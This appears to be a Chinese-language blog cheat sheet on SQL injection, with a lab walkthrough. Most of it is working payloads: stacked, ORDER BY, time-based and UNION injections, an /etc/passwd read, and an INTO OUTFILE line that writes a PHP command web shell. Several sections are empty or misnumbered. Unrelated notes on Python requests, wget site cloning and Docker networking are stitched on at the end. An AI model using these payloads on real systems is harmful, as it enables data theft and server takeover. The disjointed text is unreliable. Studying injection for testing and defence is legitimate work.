问题就出现在使用PHP连接MySQL的时候,当设置

1
“set character_set_client = gbk”

时会导致一个编码转换的问题

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。

4. SQL 盲注

SQL 盲注是一种SQL 注入漏洞,攻击者可以操纵 SQL 语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。

5. 堆叠注入

涉及字符

分号(;),在SQL语句中用来表示一条sql语句的结束

原理分析

堆叠注入可以执行任意的语句 ,多条sql 语句一起执行。在MYSQL命令框中,常以;作为结束符,那我们便可以在一句SQL语句结束后再紧跟一句SQL语句 。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> show databases;use web1;select 1,2,3;
+--------------------+
| Database |
+--------------------+
| information_schema |
| BWVS |
| bbs |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
| web1 |
+--------------------+
10 rows in set (0.00 sec)

Database changed
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

但堆叠注入是有局限性的,并不是每个环境都可以用到的:

1
2
3
一、可能受到API或者数据库引擎不支持的限制 

二、权限不足

所以一般这种方法的注入只会出现在CTF题中,但正因为这种方法感觉简单,很多人都会忽略掉,强网杯的web题随便注便用到了这种方法,当时真的懵的一批。

6. Order By注入

涉及函数

if()函数
updatexml()函数
extractvalue()函数
regexp()函数
rand()函数

原理分析

当用户提供的数据通过MySQL的“Order By”语句中的值进行传递时,如果可控制的位置在order by子句后,如order参数可控:select * from xxxxx order by $_GET['order']可能就会引发order by注入

利用大师傅的环境简单复现一下,源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "xxxx", "xxxx") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";
$result = mysql_query($sql);
$reslist = array();
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
array_push($reslist, $row);
}
echo json_encode($reslist);
?>

if(语句1、语句2、语句3)如果语句1为真,则执行语句2,否则则执行语句3

1
2
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序

img
简单介绍下SQL语句中case 的两种格式

1
2
3
4
5
6
7
8
9
10
11
--简单Case函数
case 列名
when 条件值1 then 选项1
when 条件值2 then 选项2
else 默认值 end

--Case搜索函数
case
when 列名=条件值1 then 选项1
when 列名=条件值2 then 选项2
else 默认值 end

两种方式,可以实现相同的功能。简单Case函数的写法相对比较简洁,但是和Case搜索函数相比,功能方面会有些限制,比如写下面的判断式

1
2
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序

如果想利用构造的语句的话,直接将后面的选项更改成自己构造的语句即可
img
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值,所以也可以通过IFNULL来排序,甚至构造恶意语句

1
2
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序

返回多条记录

1
2
/?order=IF(1=1,1,(select+1+union+select+2)) 正确
/?order=IF(1=2,1,(select+1+union+select+2)) 错误

img
利用报错

1
2
3
4
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误

利用if语句,也可以在参数order后构造时间盲注,同样也是这里虽然是简单的排序,但如果将语句更改为猜解数据库的语句也是可以的
如:

1
2
/?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

利用order by注入不可能直接爆出数据,只能通过猜解来获得数据,猜解数据时只能一位一位的猜,所以可以利用substr截取函数以及leftright函数将每个字符分割出来,进行猜解,如果遇到Order by注入,最好用脚本,手注得累死

Order by注入就是通过这些函数,开发者本意是希望方便用户进行排序观察等,但如果不对其做出任何限制,就会被恶意利用,利用函数的功能去执行一些SQL注入语句,从而泄露信息。

7. 异或注入

涉及符号

MySQL中,异或用^xor表示

原理分析

异或注入原理较为简单一些,运算法则就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1)null与任何条件做异或运算都为null

简单在mysql命令行演示一下:
img
用异或方法可以判断一些字符是否被过滤,如:
img
CTF题中如果想判断那些函数被过滤,便可以通过异或查询

1
符号^(str)^符号 -符号具体要结合题,str是由我们定义的命令

8. Limit注入

此方法适用于MySQL 5.x中,在limit语句后面的注入

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

1
2
3
4
5
6
# 报错注入
mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

# 时间注入
select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue
(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

10. 二次注入

看到涉及到的函数是不是感觉很熟悉,这是因为大多数网站都会对用户输入的语句进行对特殊符号的过滤,例如:恶意用户构造的插入语句为1',经过这些函数的处理则变为1\',这样便可以防止用户向服务器插入数据时引发的一些恶意操作,但这只是中途过滤了一下,最终返回到数据库里面的数据还是1',如果管理者对取出的数据没有进行进一步的检验处理,服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询,就会发生了SQL二次注入。

注意:二次注入不是注入两次的意思,二次注入相当于存储型的注入,可以看下面的图,介绍的也很直观。
img
总结起来 二次注入其实是分为两个步骤:

  1. 插入恶意数据

  2. 引用恶意数据

    原理既是如此,但不实战是无法掌握的,下面就来实战练习二次注入。

题目实战

SQL-labs24关便涉及到二次注入

先来看一下登陆时的源码
img
过滤函数将特殊符号给过滤掉了,所以直接注入是没戏的

再来查看一下用户注册的源码
img
同样过滤特殊字符,从注册进行注入也是不可能了

最后看一下修改密码的源码
img
同样如此,那就只能利用二次注入,先将恶意语句注入进数据库中,再调用

我们先注册一个用户admin'#,密码设置为123,注册好之后查看一下数据库

img
注册成功,这时其实我们就可以修改管理员admin,为什么那,来看下修改密码的sql语句

img
我们用户名为admin'#,调用该用户时,SQL语句则变为了
img
我们将admin密码更改为123456,测试一下
img
更改成功,这便是二次注入的简单利用

0x02 确认SQL注入点

并不存在真正完美的规则可以确定某个输入是否会触发 SQL 注入漏洞,因为存在无数种可能的情况。测试潜在的 SQL 注入时,必须坚持不懈并留心细节信息,这一点非常重要。

在心里重建开发人员在 web 应用中编写的代码以及设想远程 SQL 代码的内容以及潜在效果。这一点非常重要。

一、通过报错信息测试 SQL 注入

我们通常用注入一个'的方式,来通过返回的数据库报错信息来判断是否有 SQL 注入。

如果一个参数本应接收为一个数字,而输入了一个字符串。则 MySQL、SQL Server 会认为,如果该值不是一个数字,那么他肯定是个列名。

0. 关于报错信息

当Web服务器收到数据库返回的错误信息时,一般会选择如下几种方式进行返回。

  1. 将 SQL 错误显示在页面上,对 Web 浏览器用户可见.
  2. 将 SQL 错误隐藏在 web 页面的源代码中以便于调试
  3. 检测到错误时跳转到另一个页面。
  4. 返回 HTTP 错误代码 500 或 HTTP 重定向代码 302
  5. 应用适当的处理错误但不显示结果,可能会显示一个通用的错误页面。

1. 典型的 MySQL 报错举例

1
2
PHP+MySQL
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/a.com/a.php on line 8
1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near ''' at line 1
1
2
Error: Unknow columns 'test' in 'where clause'
如果注入的参数不是一个字符串(不需要单引号),则如上报错

2. 典型的 Oracle 错误举例

1
2
3
4
5
6
Java & Oracle
java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
表明了语法上不正确的 SQL 语句

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
该错误表明 Oracle 数据库检测到 SQL语句中有一个使用单引号引起来的字符串未被正确结束。(使用了单引号报错)
1
2
3
4
.NET & Oracle
ORA-01756: quoted string not properly terminated System.Web.
HttpUnhandledException: Exception of type 'System.Web.HttpUnhandleException' was thrown. ---> System.Data.OleDb.OleDbException: ORA-01756: quoted string not properly terminted
单引号报错
1
2
3
php & Oracle
PHP的ociparse()函数用户准备要执行的 Oracle 语句。
Warning: ociparse() [function.ociparse]: ORA-01756: quoted string not properly terminated in /var/www/a.com/ocitest.php on line 31
1
2
3
4
5
6
7
8
9
10
java.sql.SQLException: ORA-00907: missing right parenthesis atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:134) at oracle.jdbc.ttc7.TTloer.processError(TTloer.java:289) at oracle.jdbc.ttc7.receive(Oall7.java:582) at oracle.jdbc.ttc7.TTC7Protocol.doOall7(TTC7Protocol.java:986)

数据库报告 SQL 语句中存在缺少右括号错误。很多原因会引发该错误。最常见的情况是攻击者在嵌套 SQL 语句中进行注入。例如一个嵌套查询。主 SELECT 语句执行括号中的另一条 SELECT 语句,如果攻击者向子查询语句注入了某些内容并将后面的 SQL语句注释掉那么会返回该错误。如:

SELECT field1, field2,
(SELECT field1
FROM table2
WHERE something = [attacker contorooled variable])
as field3
FROM table1

3. PostgreSQL 错误举例

1
2
3
4
5
单引号报错
Query failed: ERROR: unterminated quoted string at or near "'''"

其他常规错误,如圆括号等
Query failed: ERROR: syntex error at or near ""

注意识别错误代码中的函数名、错误代码等信息,并善用Google。

二、通过真假条件判断 SQL 注入

由于Web 应用收到数据库错误时,会做不同的处理。下面将介绍一些不直接在浏览器中显示数据库报错的示例。需要注意的是,操纵参数产生的错误,可能与SQL 注入无关。

Web 应用可能对于所有的错误,均返回一个通用的错误页面。如下图为 ASP.NET的错误页面。具体的行为取决于 web 服务器的配置。

756886-20160926012545213-933044801

如果测试web 站点时发现应用始终返回默认或自定义的错误页面,就需要弄清楚该错误是不是由 SQL 注入引发的。可以通过向参数中插入不会触发应用错误的 SQL 代码来进行测试

举例,当我们插入单引号引发统一报错时,服务端的 SQL 查询语句为

1
2
3
SELECT *
FORM products
WHERE category = '[attackers control]'

在这个例子中,我们可以猜测,我们尝试注入的是一个用单引号控制的字符串。此时尝试注入一些不会产生错误的内容。

永真语句: ’ or '1'='1

1
2
3
4
SELECT *
FORM products
WHERE category = 'bikes' or '1'='1'
如果存在 sql 注入,那么上述代码将返回 products 中的所有行

注入永真条件有一个缺点:查询结果会包含表中的所有记录。如果数据量过大,则会查询的时间很长,且会消耗过多的服务器资源。

无影响语句:' or '1'='2 ' and '1'='1

该方法不会对查询结果产生任何影响。

永假语句' and '1'='2
该语句不会返回任何结果。

通过对不同影响的语句产生的结果不同为对照来确认是否存在 SQL注入

例外:有很多原因,即使注入了一个永假条件,也可能会返回结果。

​ 比如如果 SQL 语句为一个联合查询,如果注入参数只影响了查询的一部分。

1
2
3
4
5
SELECT *
FROM products
WHERE category = 'bikes' AND '1'='2'
UNION SELECT *
FROM new_products

三、对字符型通过拼接字符串判断 SQL 注入&识别数据库类型

Oracle & PostgreSQL

1
2
www.xxx.com/sn=bikes
www.xxx.com/sn=bi'||'kes

Microsoft SQL Server

1
2
www.xxx.com/sn=bikes
www.xxx.com/sn=bi'+'kes

MySQL

1
2
www.xxx.com/sn=bikes
www.xxx.com/sn=bi''kes

如果以上两个请求的结果相同,则很可能存在 SQL 注入漏洞

四、对数字型采用数据计算确认 SQL 注入

1
2
3
4
http://www.a.com/a.php?id=3-1
http://www.a.com/a.php?id=4-2
http://www.a.com/a.php?id=5-3
返回的结果同 id=2

当然,也可以通过加法执行该测试,不过。因为加号是 URI的保留字,需要进行编码。可以用%2B来代替+

五、盲注

1. 时间延时注入

当测试是否存在 SQL 注入的时候,经常会因为各种原因无法直接确认注入的存在,可以通过对数据库注入时间延时,并检查服务器的响应是否也产生了延迟。

Web 服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果。

1.1 MSSQL
1
2
3
4
5
-- 引入延迟的内置命令
WAITFOR DELAY 'hours:minutes:seconds'

-- 举例:
http://www.a.com/a.aspx?uid=45;waitfor delay '0:0:5';--
1.2 MySQL
1.2.1 BENCHMARK函数会将一个表达式执行许多次
1
http://www.a.com/a.php?id=32;SELECT BENCHMARK(10000000,ENCODE('hello,'mom'));--
1.2.2 SLEEP函数

添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数.如果记录数是 0,则不停留

由于MySQL的条件优先级的不同,在不同语句中执行sleep()函数导致的延迟时间(执行次数)不同,一个比较简单的判断就是,判断sleep()函数所在的点,进行数据查询时需要对比的数据记录数,即等于sleep()函数执行的次数。

1.3Oracle PL/SQL
1
2
3
4
5
6
7
8
9
BEGIN
DBMS_LOCK.SLEEP(5);
END;
-- 只有数据库管理员才能使用 DBMS_LOCK


dbms_pipe.receive_message('RDS', 10)
-- 可以用在 SQL 语句中的函数。推荐用这个函数
http://www.a.com/a.php?id=32 or 1=dbms_pipe.receive_message('RDS', 10)
1.4 PostgreSQL
1
2
http://www.a.com/a.php?id=32;SELECT pg_sleep(10);--
-- 需要 8.2及以上版本

七、注入测试 POC 汇总

1. 内联注入 poc 汇总

内联注入是指向查询注入一些 SQL 代码后,原来的查询仍然会全部执行。

字符串内联注入

测试字符串 变形 预期结果
触发错误。如果成功,数据库将返回一个错误
1’ OR ‘1’=’1 1’)or(‘1’=’1 永真条件。如果成功,将返回表中的所有行
1’ or ‘1’=’2 1’)or(‘1’=’2 空条件。如果成功,将返回与原来的值相同的结果
1’ and ‘1’=’2 1’)and(‘1’=’2 永假条件。如果成功,将不返回表中的任何行
1’ or ‘ab’=’a’+’b 1’)or(‘ab’=’a’+’b SQL Server 字符串连接。永真条件。
1’ or ‘ab’=’a’’b 1’)or(‘ab’=’a’’b MySQL字符串连接。永真条件
1’ or ‘ab’=’a’&#x7c;&#x7c;’b 1’)or(‘ab’=’a’&#x7c;&#x7c;’b Oracle 字符串连接。永真条件

数字值内联注入

测试字符串 变形 预期结果
触发错误。如果成功,数据库将返回一个错误
3-1 1+1 如果成功,将返回与操作结果相同的值
1 or 1=1 1)or(1=1 永真条件。如果成功将返回表中所有的行
1 or 1=2 1)or(1=2 空条件,如果成功,将返回与原来的值相同的结果
1 and 1=2 1)and(1=2 永假条件。如果成功,将不返回任何行
1 or ‘ab’=’a’+’b’ 1)or(‘ab’=’a’+’b’ SQL Server 字符串拼接。永真条件
1 OR ‘ab’=’a’’b’ 1)or(‘ab’=’a’’b’ Mysql 字符串拼接。永真条件
1 OR ‘ab’=’a’&#x7c;&#x7c;’b’ 1)or(‘ab’=’a’&#x7c;&#x7c;’b’ Oracle 字符串拼接。永真条件
2. 终止式 SQL 注入 POC 汇总
测试字符串 变形 预期结果
admin'-- admin')--
admin’# admin')#
1-- 1)--
1 or 1=1-- 1)or1=1--
' or '1'='1'-- ') or '1'='1'--
-1 and 1=2-- -1) and 1=2--
'and'1'=2-- ')and'1'=2--
1/**/

0x03 SQL注入的进一步利用

一、获取数据库信息

1. 通过报错获取数据库信息

1.1 利用类型转换报错

当我们发送类似于0/@@version作为注入代码时,除法运算需要两个数字作为操作数,所以数据库尝试将@@version函数的结果转换成数字。当该操作失败时,数据库会显示出变量的内容。

举例:

1
2
3
4
5
6
7
8
http://www.test.com/a.aspx?a=bikes' and 1=0/@@version;--
http://www.test.com/a.aspx?a=bikes' and 1=0/user;--

http://www.test.com/a.asp?id=@@version
-- 应用程序希望id字段为数字,当传递给他的是@@version字符串。执行该查询时,SQL Server会忠实的接收@@version的值并尝试将其转换为证书。此时,会报错。

--字符型
http://www.test.com/a.asp?name='%2B@@version%2B'
1.2 利用SQL方言的差异确认数据库
1.2.1 利用字符串拼接差异来推断
数据库服务器 查询
MSSQL SELECT ‘some’+’string’
MySQL SELECT ‘some’ ‘string’
SELECT CONCAT(‘some’,’string’)
Oracle SELECT ‘some’&#x7c;&#x7c;’string’
SELECT CONCAT(‘some’,’string’)
PostgreSQL SELECT ‘some’&#x7c;&#x7c;’string’
SELECT CONCAT(‘some’,’string’)
1.2.2 从数字函数推断服务器版本

假如没有可用的易受攻击的字符串参数,则可以使用与数字参数类似的技术。执行一条特定技术的SQL语句,经过计算后他能成为一个数字。以下表格中的计算结果都是整数。

数据库服务器 查询
MSSQL @@pack_received
@@rowcount
MySQL Connection_id()
last_insert_id()
row_count()
Oracle BITAND(1,1)
PostgreSQL SELECT EXTRACT(DOW FROM NOW())
1.2.3 利用不同数据库的sleep函数确认服务器版本

[时间延时注入](#1. 时间延时注入)

1.2.4 MySQL获取准确版本的技巧

/* */是Mysql的注释字符。如果在注释的开头加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或等于注释中的版本编号,代码就会执行。举例:

1
2
3
SELECT 1 /*!40119 + 1*/
-- 如果MySQL版本为4.01.19或更高版本,则返回 2
-- 如果小于该版本,则返回 1
1.3 利用 GROUP BY & HAVING 获取数据库字段信息

这里将 HAVING 子句与 GROUP BY 子句结合使用。也可以在 SELECT 语句中使用 HAVING 子句过滤 GROUP BY返回的记录。GROUP BY 要求 SELECT 语句选择的字段是某个聚合函数的结果或者包含在 GROUP BY 子句中。如果该条件不满足,那么数据库会返回一个错误,显示出该问题的第一列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://www.test.com/a.aspx?a=bikes' having '1'='1
获取第一列列名 products.productid

继续利用获取所有的列
http://www.test.com/a.aspx?a=bikes' GROUP BY productid having '1'='1
返回「products.name」

http://www.test.com/a.aspx?a=bikes' GROUP BY productid,name having '1'='1
返回「products.price」

枚举出所有的列名吼,可以继续使用上面的类型转换错误来检索列对应的值
http://www.test.com/a.aspx?a=bikes' and 1=0/name;--

将已经发现的列加入到否定条件中,从而获取其他的列
http://www.test.com/a.aspx?a=bikes' and name not in ('diyilie') and 1=0/name and '1'='1


二、使用UNION语句提取数据

UNION语法

1
2
3
4
5
SELECT column-1,column-2,...,column-N FROM table-1
UNION/UNION ALL
SELECT column-1,column-2,...,column-N FROM table-2
-- UNION去重且排序,UNION ALL不去重不排序。
-- UNION ALL的执行速度会快一些.

UNION的要求

  • 两个查询返回的列数必须相同
  • 两个SELECT语句对应列所返回的数据类型必须相同(或至少是兼容的)

如果无法满足上述两个约束条件,则查询会返回一个错误。

1. 获取准确的列数

1.1 通过order by获取列数

ORDER BY 子句可以接受一个列名作为参数,也可以接受一个数字作为参数。可以通过增大order by自剧中代表列的数字来识别查询中的列数(建议用二分法)。

1
2
3
http://www.a.com/a.asp?id=12 order by 1
http://www.a.com/a.asp?id=12 order by 2
http://www.a.com/a.asp?id=12 order by 3
1.2 通过联合查询获取准确列数

通过union查询,逐渐增大列数,直到查询正确执行。则可以直到列数。

对于大多数服务器,NULL值会被转换成任意数据类型

1
2
3
4
5
http://www.a.com/a.asp?id=12 union select null--
http://www.a.com/a.asp?id=12 union select null,null--
http://www.a.com/a.asp?id=12 union select null,null,null--

-- 直到不返回错误为止。

Oracle是个例外

Oracle要求每个SELECT查询都要包含一个FROM属性,因此,如果是Oracle数据库,则要改成如下格式

1
2
3
http://www.a.com/a.asp?id=12 union select null from dual--

-- dual是一个所有用户都能访问的表。

2. 匹配数据类型并读取数据库信息

2.1 匹配数据类型

识别出准确的列后,那么需要寻找需要的数据类型。比如想提取字一个字符串值(数据库用户等),那么则需要数据库类型为字符串的列。通过使用NULL很容易实现。

比如,目标原始查询一共只有4列

1
2
3
4
5
http://www.a.com/a.asp?id=23 union select 'test',NULL,NUll,NUll
http://www.a.com/a.asp?id=23 union select NULL,'test',NUll,NUll
http://www.a.com/a.asp?id=23 union select NULL,NULL,'test',NUll
http://www.a.com/a.asp?id=23 union select NULL,NULL,NUll,'test'

只要查询能顺利执行,不返回错误,则可以知道该值为字符串值,则可以用该字段获取数据库信息。

2.2 获取数据库信息
1
http://www.a.com/a.asp?id=23 union select NULL,system_user,NUll,NUll

通过连接运算法以此获取多个数据。

1
2
3
4
5
SELECT NULL,system_user + '|' + db_name(),NULL,NULL
-- 插入字符串|提高可读性

如:
http://www.a.com/a.asp?id=12 union select null,system_user%2B'|'%2Bdb_name(),NULL,NULL
2.3 强制类型转换

如果要查询的信息不属于字符串或数据类型不匹配,则可以使用强制类型转换,转换为字符串。

[强制类型转换运算符](#5. 强制类型转换)

三、使用条件语句

1. 条件语句介绍

数据库服务器 查询
MSSQL IF(‘a’=’a’) SELECT 1 ELSE SELECT 2
MySQL IF(condition, value_if_true, value_if_false)
Oracle SELECT CASE WHEN ‘a’=’a’ THEN1 ELSE 2 END FROM DUAL
SELECT decode(substr(user,1,1),’A’,1,2) FROM DUAL
PostgreSQL SELECT CASE WHEN(1=1) THEN ‘a’ else ‘b’ END

2.利用条件语句获取数据库信息

2.1 基于时间

使用条件语句利用SQL注入时,第一种方法是基于Web应用响应时间上的差异来获取某些信息的值。

2.1.1 MSSQL
1
2
http://www.a.com/a.asp?id=2;IF (system_user='sa' waitfor delay '0:0:5')--
--如果条件满足,则等待5s
2.2 基于错误
1
2
http://www.a.com/a.asp?id=12/is_srvrolemember('sysadmin')
--is_srvrolemember() 是一个SQLServer T-SQL函数,当用户属于指定的组的时候返回1,否则返回0
1
http://www.a.com/a.asp?id=12%2B(case when (system_user='sa') then 1 else 0 end)
1
2
--字符型注入
http://www.a.com/a.asp?search.asp?brand=ac'%2Bchar(108%2B(case when (system_user = 'sa') then 1 else 0 end))%2B'e

十、文件读取&写入

1. MySQL

1) LOAD_FILE 函数

他能够读取文件并将文件内容作为字符串返回。
需要提供文件的完整路径,调用该函数的用户需要有FILE权限

示例:UNION ALL SELECT LOAD_FULE(‘/etc/passwd’)--

2)INTO OUTFILE 函数

创建系统文件并进行写操作

1
UNION SELECT "<? system($_REQUEST['cmd']; ?)>" INTO OUTFILE "/var/www/html/victim.com/cmd.php" -

0x04 常见的绕过技巧

使用注释绕过过滤
如用多行注释绕过空格

1
http://www.a.com/a.aspx?uid=45/**/or/**/1=1

0x05 SQLi之白盒审计

0x06 常用的测试工具

0x07 SQL修复建议

一、安全的数据库配置

以普通的用户身份运行数据库服务器,而不要使用内置账户来连接数据库(Windows下的Oracle必须以SYSTEM权限运行)。功能强大的内置账户可以在数据库上执行很多与程序需求无关的操作(如:xp_cmdshell; OPENROWSET; LOAD_FILE ; ActiveX Java等)

参考&致谢

【SQL注入攻击与防御(第2版)】

Mysql 执行优先级和sleep函数延时注入的一个Tip

SQL注入速查表(上)

(mysql limit 注入)

w3schools

requests库中content和text调用的区别

起因

最近,在使用python的requests库抓取一些网站基本信息的时候。使用r.text提取信息。发现经常会有乱码。即使原网站的原始编码就是utf-8. 后来发现,改成r.content就没问题。

区别

二者的区别在于content返回的是byte型数据,而text返回的是Unicode数据,也就是说text对原始数据进行的特殊的编码,而这个编码方式是基于对原始数据的猜测(响应头),

所以,如果网站的返回头如果没有制定编码,则r.text获取到的内容则可能编码出现错误。

如:Content-Type: text/html; charset=utf-8

所以,一般情况下建议用r.content。然后自己进行重新编码。

如果非要用text则可使用r.encoding = 'ISO-8859-1'指定编码格式。

使用wget克隆网站

1
wget -k -p -nH -N http://xxxweb.com

各参数说明

1
2
3
4
5
6
7
8
-k     把已下载文件中的所有链接都转换为本地引用,不再依赖原始或在线内容
-p 下载所有必要文件,确保离线可用,包括图片和样式表
-nH 禁止把文件下载到以主机名为前缀的文件夹中
-N 启用文件的时间戳,以匹配来源的时间戳

下面两项可选:
-r 递归下载
-l 指定最大的递归深度,0为无限。

因为Docker for Mac的实现与Docker for Linux的实现有些不一样,所以在Mac上,当容器需要与宿主机进行通信的时候,发现直接访问宿主机的IP( 172.17.0.1)是访问不通的。Mac的宿主机上,也没有docker0这个虚拟网卡。
当尝试访问宿主机的一个端口时,会提示Connection refused.

在container中应当使用一个特殊的DNS来访问宿主机docker.for.mac.host.internal

参考链接:(Macos Docker container连接宿主机172.17.0.1的办法